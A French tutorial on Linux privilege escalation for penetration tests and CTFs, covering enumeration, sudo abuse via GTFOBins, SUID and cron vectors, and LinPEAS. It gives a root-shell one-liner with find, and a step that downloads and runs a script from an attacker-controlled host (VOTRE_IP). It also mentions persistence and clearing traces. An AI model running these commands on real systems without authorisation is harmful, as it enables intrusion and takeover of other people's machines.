pwn

Lélèvation de privilège ou prendre les droits administrateur

07/04/2026 Mis à jour le 22/05/2026

L'Élévation de Privilèges (PrivEsc) consiste à trouver une faille pour devenir root (sur Linux) ou SYSTEM (sur Windows).

L'élévation de privilèges consiste à exploiter une faille ou une mauvaise configuration pour obtenir des droits supérieurs à ceux initialement attribués.

  • Élévation Horizontale : Accéder au compte d'un autre utilisateur de même niveau (ex: voler la session d'un collègue).
  • Élévation Verticale : Passer d'un utilisateur restreint à un accès total sur le système (ex: devenir root ou administrateur).

C'est souvent la partie la plus stimulante d'un test d'intrusion. Voici les étapes clés pour réussir.

1. Comprendre les deux types d'élévation

  • Élévation Verticale : Vous passez d'un utilisateur standard à un administrateur (root). C'est l'objectif principal.
  • Élévation Horizontale : Vous passez d'un utilisateur A à un utilisateur B (par exemple, de www-data à developpeur). Cela peut vous donner accès à de nouveaux fichiers qui cachent peut-être le mot de passe root.

2. L'énumération : La clé du succès

Avant de tenter d'exploiter quoi que ce soit, vous devez observer. Environ 90% de l'élévation de privilèges est une question d'observation.

Les commandes indispensables (Linux) :

  • whoami : Qui suis-je ?
  • id : À quels groupes j'appartiens ? (ex: le groupe docker ou lxd permet souvent de devenir root facilement).
  • uname -a : Quelle est la version du noyau (kernel) ? (Pour chercher des exploits comme Dirty Pipe).
  • sudo -l : La commande la plus importante. Elle liste ce que vous avez le droit de lancer avec les droits root sans mot de passe.

3. Les vecteurs d'attaque classiques

A. Sudo et les "GTFOBins"

Si sudo -l montre que vous pouvez lancer vim, find ou nmap en tant que root, c'est gagné.

Le site de référence ici est GTFOBins. Il répertorie comment détourner des binaires légitimes pour obtenir un shell root.

il faut déjà avoir le droit d'exécuter la commande find via sudo pour que la commande ci-dessous fonctionne. (ce que l'on vérifie habituellement avec sudo -l).

Exemple avec find :

sudo find . -exec /bin/sh -p \; -quit

Ou pour lire directement le fichier en tant que sudo sans l’être.

sudo -u stagiaire /bin/cat ../secret/.passwd

B. Les fichiers SUID

Certains fichiers ont un "bit" spécial qui permet de les exécuter avec les droits du propriétaire (souvent root).

Pour les trouver :

find / -perm -u=s -type f 2>/dev/null

Si vous voyez un binaire inhabituel dans la liste, vérifiez sa syntaxe sur GTFOBins.

C. Les tâches planifiées (Cron Jobs)

Si un script tourne toutes les minutes en tant que root et que vous avez le droit de le modifier (écriture), vous pouvez y ajouter votre commande de reverse shell.

ls -la /etc/crontab

D. Exploits de Noyau (Kernel Exploits)

Si le système est très vieux et non mis à jour, il existe peut-être un exploit public. C'est la méthode de "dernier recours" car elle peut faire planter le serveur.

4. Automatiser avec des outils

En conditions réelles ou en CTF (Capture The Flag), on utilise des scripts d'énumération automatique pour gagner du temps.

  • LinPEAS (Linux Privilege Escalation Awesome Script) : C'est la référence. Il colore en rouge/jaune les vecteurs d'attaque ayant 95% de chances de réussir.
  • WinPEAS : La version pour Windows.

5. Méthodologie pratique

  1. Transférer l'outil : Sur votre machine, lancez un serveur Python (python3 -m http.server 80). Sur la cible, téléchargez l'outil : wget http://VOTRE_IP/linpeas.sh.
  2. Exécuter : chmod +x linpeas.sh && ./linpeas.sh.
  3. Analyser : Ne lisez pas tout, concentrez-vous sur ce que le script met en évidence.

Une fois root, la dernière étape du hacker est généralement la Persistance (s'assurer de pouvoir revenir même si le serveur redémarre) et le Nettoyage des traces.

Souhaitez-vous que l'on regarde comment utiliser LinPEAS plus en détail ou préfères-tu un exemple concret sur une faille spécifique (comme une mauvaise configuration Sudo) ?